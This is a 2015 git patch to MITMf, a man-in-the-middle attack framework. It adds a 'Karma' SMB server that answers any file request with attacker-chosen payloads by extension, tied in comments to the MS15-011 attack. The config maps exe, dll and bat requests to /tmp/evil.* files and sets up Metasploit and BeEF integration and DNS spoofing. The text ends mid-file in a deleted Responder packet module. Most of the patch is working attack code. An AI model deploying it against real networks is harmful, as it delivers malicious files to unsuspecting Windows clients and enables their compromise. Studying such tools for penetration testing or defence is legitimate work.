From 14580f1589e3b9d455741db424cb16b3c8e67797 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 30 May 2015 15:00:41 +0200 Subject: [PATCH] second implementation of the HTTP server, you can now define shares for the SMB server in the config file, added an option to switch between the normal SMB server and the Karma version. removed some useless code (left over from the responder plugin), serverResponseStatus hook now returns a dict (tuple was causing errors) --- config/mitmf.conf | 81 +++- core/servers/http/HTTPServer.py | 64 ++- core/servers/smb/KarmaSMB.py | 583 ++++++++++++++++++++++++ core/servers/smb/SMBPackets.py | 475 ------------------- core/servers/smb/SMBServer_Responder.py | 333 -------------- core/servers/smb/SMBserver.py | 126 ++--- core/sslstrip/ServerConnection.py | 17 +- core/utils.py | 16 +- mitmf.py | 6 +- plugins/SMBTrap.py | 2 +- plugins/SSLstrip+.py | 4 +- plugins/Spoof.py | 7 +- plugins/TestPlugin.py | 10 +- plugins/plugin.py | 2 +- 14 files changed, 806 insertions(+), 920 deletions(-) create mode 100644 core/servers/smb/KarmaSMB.py delete mode 100644 core/servers/smb/SMBPackets.py delete mode 100644 core/servers/smb/SMBServer_Responder.py diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..48b60f7 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -1,16 +1,10 @@ # -#MITMf configuration file +# MITMf configuration file # [MITMf] - # - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` - #(assuming you config file is in the default directory) - # - args='' - - #Required BeEF and Metasploit options + # Required BeEF and Metasploit options [[BeEF]] beefip = 127.0.0.1 beefport = 3000 @@ -19,37 +13,86 @@ [[Metasploit]] - msfport = 8080 #Port to start Metasploit's webserver on that will host exploits + msfport = 8080 # Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 rpcpass = abc123 [[SMB]] # - #Here you can configure MITMf's internal SMB server + # Here you can configure MITMf's internal SMB server # - #Set a custom challenge + port = 445 + type = karma # Can be set to Normal or Karma + + # Set a custom challenge Challenge = 1122334455667788 + [[[Shares]]] # Only parsed if type = Normal + + # + # You can define shares here + # + + # [[[[Share1]]]] #Share name + # readonly = yes #Be very careful if you set this to no! + # path = /tmp #Share path + + # [[[[Share2]]]] + # readonly = yes + # path = /tmp + + [[[Karma]]] # Only parsed if type = Karma + + # + # Here you can configure the Karma-SMB server + # + + defaultfile = '' #Path to the file to serve if the requested extension is not specified below (don't comment out) + + # exe = /tmp/evil.exe + # dll = /tmp/evil.dll + # ini = /tmp/desktop.ini + # bat = /tmp/evil.bat + + [[HTTP]] + + # + # Here you can configure MITMf's internal HTTP server + # + + port = 80 + + [[[Paths]]] + + # + # Here you can define the content to deliver + # + + # Format is urlpath = filesystem path (urlpath can be a regular expression) + + # ".*" = "/var/www" + # "/test" = "/var/www2" + [[DNS]] # - #Here you can configure MITMf's internal DNS server + # Here you can configure MITMf's internal DNS server # - tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) - port = 53 #Port to listen on - ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!) + tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!) + port = 53 # Port to listen on + ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!) # - #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 - #can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 + # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4 # nameservers = 8.8.8.8 [[[A]]] # Queries for IPv4 address records - *.thesprawls.org=192.0.2.1 + *.thesprawls.org=192.168.178.27 [[[AAAA]]] # Queries for IPv6 address records *.thesprawl.org=2001:db8::1 @@ -85,7 +128,7 @@ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= # -#Plugin configuration starts here +# Plugin configuration starts here # [Spoof] diff --git a/core/servers/http/HTTPServer.py b/core/servers/http/HTTPServer.py index 9cb9043..054975e 100644 --- a/core/servers/http/HTTPServer.py +++ b/core/servers/http/HTTPServer.py @@ -1,11 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys import tornado.ioloop import tornado.web import threading -class HTTPServer: +from core.configwatcher import ConfigWatcher + +tornado_logger = logging.getLogger("tornado") +tornado_logger.propagate = False +formatter = logging.Formatter("%(asctime)s [HTTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +fileHandler = logging.FileHandler("./logs/mitmf.log") +streamHandler = logging.StreamHandler(sys.stdout) +fileHandler.setFormatter(formatter) +streamHandler.setFormatter(formatter) +tornado_logger.addHandler(fileHandler) +tornado_logger.addHandler(streamHandler) + +class HTTPServer(ConfigWatcher): _instance = None application = tornado.web.Application([]) + http_port = int(ConfigWatcher.config["MITMf"]["HTTP"]["port"]) @staticmethod def getInstance(): @@ -17,8 +52,31 @@ class HTTPServer: def addHandler(self, urlregex, handler, vhost=''): self.application.add_handlers(vhost, [(urlregex, handler)]) - def start(self, port=80): - self.application.listen(port) + def addStaticPathHandler(self, urlregex, path, vhost=''): + self.application.add_handlers(vhost, [(urlregex, {"static_path": path})]) + + def resetApplication(self): + self.application = tornado.web.Application([]) + + def parseConfig(self): + for url,path in self.config['MITMf']['HTTP']['Paths'].iteritems(): + self.addStaticPathHandler(url, path) + + def onConfigChange(self): + self.resetApplication() + self.parseConfig() + + def start(self): + self.parseConfig() + self.application.listen(self.http_port) + t = threading.Thread(name='HTTPserver', target=tornado.ioloop.IOLoop.instance().start) t.setDaemon(True) t.start() + +class HTTPHandler(tornado.web.RequestHandler): + def get(self): + raise HTTPError(405) + + def post(self): + raise HTTPError(405) \ No newline at end of file diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py new file mode 100644 index 0000000..3c7cd59 --- /dev/null +++ b/core/servers/smb/KarmaSMB.py @@ -0,0 +1,583 @@ +#!/usr/bin/python +# Copyright (c) 2015 CORE Security Technologies +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Karma SMB +# +# Author: +# Alberto Solino (@agsolino) +# Original idea by @mubix +# +# Description: +# The idea of this script is to answer any file read request +# with a set of predefined contents based on the extension +# asked, regardless of the sharename and/or path. +# When executing this script w/o a config file the pathname +# file contents will be sent for every request. +# If a config file is specified, format should be this way: +# = +# for example: +# bat = /tmp/batchfile +# com = /tmp/comfile +# exe = /tmp/exefile +# +# The SMB2 support works with a caveat. If two different +# filenames at the same share are requested, the first +# one will work and the second one will not work if the request +# is performed right away. This seems related to the +# QUERY_DIRECTORY request, where we return the files available. +# In the first try, we return the file that was asked to open. +# In the second try, the client will NOT ask for another +# QUERY_DIRECTORY but will use the cached one. This time the new file +# is not there, so the client assumes it doesn't exist. +# After a few seconds, looks like the client cache is cleared and +# the operation works again. Further research is needed trying +# to avoid this from happening. +# +# SMB1 seems to be working fine on that scenario. +# +# ToDo: +# [ ] A lot of testing needed under different OSes. +# I'm still not sure how reliable this approach is. +# [ ] Add support for other SMB read commands. Right now just +# covering SMB_COM_NT_CREATE_ANDX +# [ ] Disable write request, now if the client tries to copy +# a file back to us, it will overwrite the files we're +# hosting. *CAREFUL!!!* +# + +import sys +import os +import argparse +import logging +import ntpath +import ConfigParser + +from impacket import LOG as logger +from impacket import smbserver, smb, version +import impacket.smb3structs as smb2 +from impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE +from impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NO_MORE_FILES, \ + STATUS_OBJECT_PATH_NOT_FOUND +from impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ + getFileTime, queryPathInformation + +class KarmaSMBServer(): + def __init__(self, smb_challenge, smb_port, smb2Support = False): + self.server = 0 + self.defaultFile = None + self.extensions = {} + + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global', 'challenge', smb_challenge.decode('hex')) + smbConfig.set('global','log_file','smb.log') + smbConfig.set('global','credentials_file','') + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','Logon server share') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path','') + + # NETLOGON always needed + smbConfig.add_section('NETLOGON') + smbConfig.set('NETLOGON','comment','Logon server share') + smbConfig.set('NETLOGON','read only','no') + smbConfig.set('NETLOGON','share type','0') + smbConfig.set('NETLOGON','path','') + + # SYSVOL always needed + smbConfig.add_section('SYSVOL') + smbConfig.set('SYSVOL','comment','') + smbConfig.set('SYSVOL','read only','no') + smbConfig.set('SYSVOL','share type','0') + smbConfig.set('SYSVOL','path','') + + if smb2Support: + smbConfig.set("global", "SMB2Support", "True") + + self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server.processConfigFile() + + # Unregistering some dangerous and unwanted commands + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_CREATE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE_DIRECTORY) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_RENAME) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_DELETE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE) + self.server.unregisterSmbCommand(smb.SMB.SMB_COM_WRITE_ANDX) + + self.server.unregisterSmb2Command(smb2.SMB2_WRITE) + + self.origsmbComNtCreateAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX, self.smbComNtCreateAndX) + self.origsmbComTreeConnectAndX = self.server.hookSmbCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX, self.smbComTreeConnectAndX) + self.origQueryPathInformation = self.server.hookTransaction2(smb.SMB.TRANS2_QUERY_PATH_INFORMATION, self.queryPathInformation) + self.origFindFirst2 = self.server.hookTransaction2(smb.SMB.TRANS2_FIND_FIRST2, self.findFirst2) + + # And the same for SMB2 + self.origsmb2TreeConnect = self.server.hookSmb2Command(smb2.SMB2_TREE_CONNECT, self.smb2TreeConnect) + self.origsmb2Create = self.server.hookSmb2Command(smb2.SMB2_CREATE, self.smb2Create) + self.origsmb2QueryDirectory = self.server.hookSmb2Command(smb2.SMB2_QUERY_DIRECTORY, self.smb2QueryDirectory) + self.origsmb2Read = self.server.hookSmb2Command(smb2.SMB2_READ, self.smb2Read) + self.origsmb2Close = self.server.hookSmb2Command(smb2.SMB2_CLOSE, self.smb2Close) + + # Now we have to register the MS-SRVS server. This specially important for + # Windows 7+ and Mavericks clients since they WONT (specially OSX) + # ask for shares using MS-RAP. + + self.__srvsServer = SRVSServer() + self.__srvsServer.daemon = True + self.server.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort())) + + def findFirst2(self, connId, smbServer, recvPacket, parameters, data, maxDataCount): + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = STATUS_SUCCESS + findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],findFirst2Parameters['FileName']).replace('\\','/')) + origFileName = os.path.basename(origPathName) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + if (len(data) > 0): + findFirst2Data = smb.SMBFindFirst2_Data(data) + else: + findFirst2Data = '' + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = connData['ConnectedShares'][recvPacket['Tid']]['path'] + + # 2. We call the normal findFirst2 call, but with our targetFile + searchResult, searchCount, errorCode = findFirst2(path, + targetFile, + findFirst2Parameters['InformationLevel'], + findFirst2Parameters['SearchAttributes'] ) + + respParameters = smb.SMBFindFirst2Response_Parameters() + endOfSearch = 1 + sid = 0x80 # default SID + searchCount = 0 + totalData = 0 + for i in enumerate(searchResult): + #i[1].dump() + try: + # 3. And we restore the original filename requested ;) + i[1]['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = origFileName) + except: + pass + + data = i[1].getData() + lenData = len(data) + if (totalData+lenData) >= maxDataCount or (i[0]+1) > findFirst2Parameters['SearchCount']: + # We gotta stop here and continue on a find_next2 + endOfSearch = 0 + # Simple way to generate a fid + if len(connData['SIDs']) == 0: + sid = 1 + else: + sid = connData['SIDs'].keys()[-1] + 1 + # Store the remaining search results in the ConnData SID + connData['SIDs'][sid] = searchResult[i[0]:] + respParameters['LastNameOffset'] = totalData + break + else: + searchCount +=1 + respData += data + totalData += lenData + + + respParameters['SID'] = sid + respParameters['EndOfSearch'] = endOfSearch + respParameters['SearchCount'] = searchCount + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smbComNtCreateAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateAndXParameters = smb.SMBNtCreateAndX_Parameters(SMBCommand['Parameters']) + ntCreateAndXData = smb.SMBNtCreateAndX_Data( flags = recvPacket['Flags2'], data = SMBCommand['Data']) + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + + #ntCreateAndXParameters.dump() + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls (e.g. SMB_COM_WRITE) + createOptions = ntCreateAndXParameters['CreateOptions'] + if createOptions & smb.FILE_DELETE_ON_CLOSE == smb.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE == FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['Disposition'] & smb.FILE_OVERWRITE_IF == FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_WRITE_DATA == FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.FILE_APPEND_DATA == FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & smb.GENERIC_WRITE == GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateAndXParameters['AccessMask'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [respSMBCommand], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(decodeSMBString(recvPacket['Flags2'],ntCreateAndXData['FileName']).replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + + # 2. We change the filename in the request for our targetFile + ntCreateAndXData['FileName'] = encodeSMBString( flags = recvPacket['Flags2'], text = targetFile) + SMBCommand['Data'] = str(ntCreateAndXData) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + + # 3. We call the original call with our modified data + return self.origsmbComNtCreateAndX(connId, smbServer, SMBCommand, recvPacket) + + def queryPathInformation(self, connId, smbServer, recvPacket, parameters, data, maxDataCount = 0): + # The trick we play here is that Windows clients first ask for the file + # and then it asks for the directory containing the file. + # It is important to answer the right questions for the attack to work + + connData = smbServer.getConnectionData(connId) + + respSetup = '' + respParameters = '' + respData = '' + errorCode = 0 + + queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) + if len(data) > 0: + queryPathInfoData = smb.SMBQueryPathInformation_Data(data) + + if connData['ConnectedShares'].has_key(recvPacket['Tid']): + path = '' + try: + origPathName = decodeSMBString(recvPacket['Flags2'], queryPathInfoParameters['FileName']) + origPathName = os.path.normpath(origPathName.replace('\\','/')) + + if connData.has_key('MS15011') is False: + connData['MS15011'] = {} + + smbServer.log("Client is asking for QueryPathInformation for: %s" % origPathName,logging.INFO) + if connData['MS15011'].has_key(origPathName) or origPathName == '.': + # We already processed this entry, now it's asking for a directory + infoRecord, errorCode = queryPathInformation(path, '/', queryPathInfoParameters['InformationLevel']) + else: + # First time asked, asking for the file + infoRecord, errorCode = queryPathInformation(path, self.defaultFile, queryPathInfoParameters['InformationLevel']) + connData['MS15011'][os.path.dirname(origPathName)] = infoRecord + except Exception, e: + #import traceback + #traceback.print_exc() + smbServer.log("queryPathInformation: %s" % e,logging.ERROR) + + if infoRecord is not None: + respParameters = smb.SMBQueryPathInformationResponse_Parameters() + respData = infoRecord + else: + errorCode = STATUS_SMB_BAD_TID + + smbServer.setConnectionData(connId, connData) + + return respSetup, respParameters, respData, errorCode + + def smb2Read(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + connData['MS15011']['StopConnection'] = True + smbServer.setConnectionData(connId, connData) + return self.origsmb2Read(connId, smbServer, recvPacket) + + def smb2Close(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + # We're closing the connection trying to flush the client's + # cache. + if connData['MS15011']['StopConnection'] == True: + return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED + return self.origsmb2Close(connId, smbServer, recvPacket) + + def smb2Create(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + ntCreateRequest = smb2.SMB2Create(recvPacket['Data']) + + # Let's try to avoid allowing write requests from the client back to us + # not 100% bulletproof, plus also the client might be using other SMB + # calls + createOptions = ntCreateRequest['CreateOptions'] + if createOptions & smb2.FILE_DELETE_ON_CLOSE == smb2.FILE_DELETE_ON_CLOSE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE == smb2.FILE_OVERWRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['CreateDisposition'] & smb2.FILE_OVERWRITE_IF == smb2.FILE_OVERWRITE_IF: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_WRITE_DATA == smb2.FILE_WRITE_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.FILE_APPEND_DATA == smb2.FILE_APPEND_DATA: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & smb2.GENERIC_WRITE == smb2.GENERIC_WRITE: + errorCode = STATUS_ACCESS_DENIED + elif ntCreateRequest['DesiredAccess'] & 0x10000 == 0x10000: + errorCode = STATUS_ACCESS_DENIED + else: + errorCode = STATUS_SUCCESS + + if errorCode == STATUS_ACCESS_DENIED: + return [smb2.SMB2Error()], None, errorCode + + # 1. Let's grab the extension and map the file's contents we will deliver + origPathName = os.path.normpath(ntCreateRequest['Buffer'][:ntCreateRequest['NameLength']].decode('utf-16le').replace('\\','/')) + + _, origPathNameExtension = os.path.splitext(origPathName) + origPathNameExtension = origPathNameExtension.upper()[1:] + + # Are we being asked for a directory? + if (createOptions & smb2.FILE_DIRECTORY_FILE) == 0: + if self.extensions.has_key(origPathNameExtension.upper()): + targetFile = self.extensions[origPathNameExtension.upper()] + else: + targetFile = self.defaultFile + connData['MS15011']['FileData'] = (os.path.basename(origPathName), targetFile) + smbServer.log("%s is asking for %s. Delivering %s" % (connData['ClientIP'], origPathName,targetFile),logging.INFO) + else: + targetFile = '/' + + # 2. We change the filename in the request for our targetFile + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + ntCreateRequest['NameLength'] = len(targetFile)*2 + recvPacket['Data'] = str(ntCreateRequest) + + # 3. We call the original call with our modified data + return self.origsmb2Create(connId, smbServer, recvPacket) + + def smb2QueryDirectory(self, connId, smbServer, recvPacket): + # Windows clients with SMB2 will also perform a QueryDirectory + # expecting to get the filename asked. So we deliver it :) + connData = smbServer.getConnectionData(connId) + + respSMBCommand = smb2.SMB2QueryDirectory_Response() + queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + + errorCode = 0xff + respSMBCommand['Buffer'] = '\x00' + + errorCode = STATUS_SUCCESS + + #if (queryDirectoryRequest['Flags'] & smb2.SL_RETURN_SINGLE_ENTRY) == 0: + # return [smb2.SMB2Error()], None, STATUS_NOT_SUPPORTED + + if connData['MS15011']['FindDone'] is True: + + connData['MS15011']['FindDone'] = False + smbServer.setConnectionData(connId, connData) + return [smb2.SMB2Error()], None, STATUS_NO_MORE_FILES + else: + origName, targetFile = connData['MS15011']['FileData'] + (mode, ino, dev, nlink, uid, gid, size, atime, mtime, ctime) = os.stat(targetFile) + + infoRecord = smb.SMBFindFileIdBothDirectoryInfo( smb.SMB.FLAGS2_UNICODE ) + infoRecord['ExtFileAttributes'] = smb.ATTR_NORMAL | smb.ATTR_ARCHIVE + + infoRecord['EaSize'] = 0 + infoRecord['EndOfFile'] = size + infoRecord['AllocationSize'] = size + infoRecord['CreationTime'] = getFileTime(ctime) + infoRecord['LastAccessTime'] = getFileTime(atime) + infoRecord['LastWriteTime'] = getFileTime(mtime) + infoRecord['LastChangeTime'] = getFileTime(mtime) + infoRecord['ShortName'] = '\x00'*24 + #infoRecord['FileName'] = os.path.basename(origName).encode('utf-16le') + infoRecord['FileName'] = origName.encode('utf-16le') + padLen = (8-(len(infoRecord) % 8)) % 8 + infoRecord['NextEntryOffset'] = 0 + + respSMBCommand['OutputBufferOffset'] = 0x48 + respSMBCommand['OutputBufferLength'] = len(infoRecord.getData()) + respSMBCommand['Buffer'] = infoRecord.getData() + '\xaa'*padLen + connData['MS15011']['FindDone'] = True + + smbServer.setConnectionData(connId, connData) + return [respSMBCommand], None, errorCode + + def smb2TreeConnect(self, connId, smbServer, recvPacket): + connData = smbServer.getConnectionData(connId) + + respPacket = smb2.SMB2Packet() + respPacket['Flags'] = smb2.SMB2_FLAGS_SERVER_TO_REDIR + respPacket['Status'] = STATUS_SUCCESS + respPacket['CreditRequestResponse'] = 1 + respPacket['Command'] = recvPacket['Command'] + respPacket['SessionID'] = connData['Uid'] + respPacket['Reserved'] = recvPacket['Reserved'] + respPacket['MessageID'] = recvPacket['MessageID'] + respPacket['TreeID'] = recvPacket['TreeID'] + + respSMBCommand = smb2.SMB2TreeConnect_Response() + + treeConnectRequest = smb2.SMB2TreeConnect(recvPacket['Data']) + + errorCode = STATUS_SUCCESS + + ## Process here the request, does the share exist? + path = str(recvPacket)[treeConnectRequest['PathOffset']:][:treeConnectRequest['PathLength']] + UNCOrShare = path.decode('utf-16le') + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + #share = searchShare(connId, path.upper(), smbServer) + connData['MS15011'] = {} + connData['MS15011']['FindDone'] = False + connData['MS15011']['StopConnection'] = False + share = {} + if share is not None: + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + respPacket['TreeID'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + else: + smbServer.log("SMB2_TREE_CONNECT not found %s" % path, logging.ERROR) + errorCode = STATUS_OBJECT_PATH_NOT_FOUND + respPacket['Status'] = errorCode + ## + + if path == 'IPC$': + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_PIPE + respSMBCommand['ShareFlags'] = 0x30 + else: + respSMBCommand['ShareType'] = smb2.SMB2_SHARE_TYPE_DISK + respSMBCommand['ShareFlags'] = 0x0 + + respSMBCommand['Capabilities'] = 0 + respSMBCommand['MaximalAccess'] = 0x011f01ff + + respPacket['Data'] = respSMBCommand + + smbServer.setConnectionData(connId, connData) + + return None, [respPacket], errorCode + + def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): + connData = smbServer.getConnectionData(connId) + + resp = smb.NewSMBPacket() + resp['Flags1'] = smb.SMB.FLAGS1_REPLY + resp['Flags2'] = smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | recvPacket['Flags2'] & smb.SMB.FLAGS2_UNICODE + + resp['Tid'] = recvPacket['Tid'] + resp['Mid'] = recvPacket['Mid'] + resp['Pid'] = connData['Pid'] + + respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_TREE_CONNECT_ANDX) + respParameters = smb.SMBTreeConnectAndXResponse_Parameters() + respData = smb.SMBTreeConnectAndXResponse_Data() + + treeConnectAndXParameters = smb.SMBTreeConnectAndX_Parameters(SMBCommand['Parameters']) + + if treeConnectAndXParameters['Flags'] & 0x8: + respParameters = smb.SMBTreeConnectAndXExtendedResponse_Parameters() + + treeConnectAndXData = smb.SMBTreeConnectAndX_Data( flags = recvPacket['Flags2'] ) + treeConnectAndXData['_PasswordLength'] = treeConnectAndXParameters['PasswordLength'] + treeConnectAndXData.fromString(SMBCommand['Data']) + + errorCode = STATUS_SUCCESS + + UNCOrShare = decodeSMBString(recvPacket['Flags2'], treeConnectAndXData['Path']) + + # Is this a UNC? + if ntpath.ismount(UNCOrShare): + path = UNCOrShare.split('\\')[3] + else: + path = ntpath.basename(UNCOrShare) + + # We won't search for the share.. all of them exist :P + smbServer.log("TreeConnectAndX request for %s" % path, logging.INFO) + #share = searchShare(connId, path, smbServer) + share = {} + # Simple way to generate a Tid + if len(connData['ConnectedShares']) == 0: + tid = 1 + else: + tid = connData['ConnectedShares'].keys()[-1] + 1 + connData['ConnectedShares'][tid] = share + connData['ConnectedShares'][tid]['path'] = '/' + connData['ConnectedShares'][tid]['shareName'] = path + resp['Tid'] = tid + #smbServer.log("Connecting Share(%d:%s)" % (tid,path)) + + respParameters['OptionalSupport'] = smb.SMB.SMB_SUPPORT_SEARCH_BITS + + if path == 'IPC$': + respData['Service'] = 'IPC' + else: + respData['Service'] = path + respData['PadLen'] = 0 + respData['NativeFileSystem'] = encodeSMBString(recvPacket['Flags2'], 'NTFS' ) + + respSMBCommand['Parameters'] = respParameters + respSMBCommand['Data'] = respData + + resp['Uid'] = connData['Uid'] + resp.addCommand(respSMBCommand) + smbServer.setConnectionData(connId, connData) + + return None, [resp], errorCode + + def start(self): + self.server.serve_forever() + + def setDefaultFile(self, filename): + self.defaultFile = filename + + def setExtensionsConfig(self, filename): + for line in filename.readlines(): + line = line.strip('\r\n ') + if line.startswith('#') is not True and len(line) > 0: + extension, pathName = line.split('=') + self.extensions[extension.strip().upper()] = os.path.normpath(pathName.strip()) diff --git a/core/servers/smb/SMBPackets.py b/core/servers/smb/SMBPackets.py deleted file mode 100644 index a1d3fcb..0000000 --- a/core/servers/smb/SMBPackets.py +++ /dev/null @@ -1,475 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - - -################################################################################## -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", 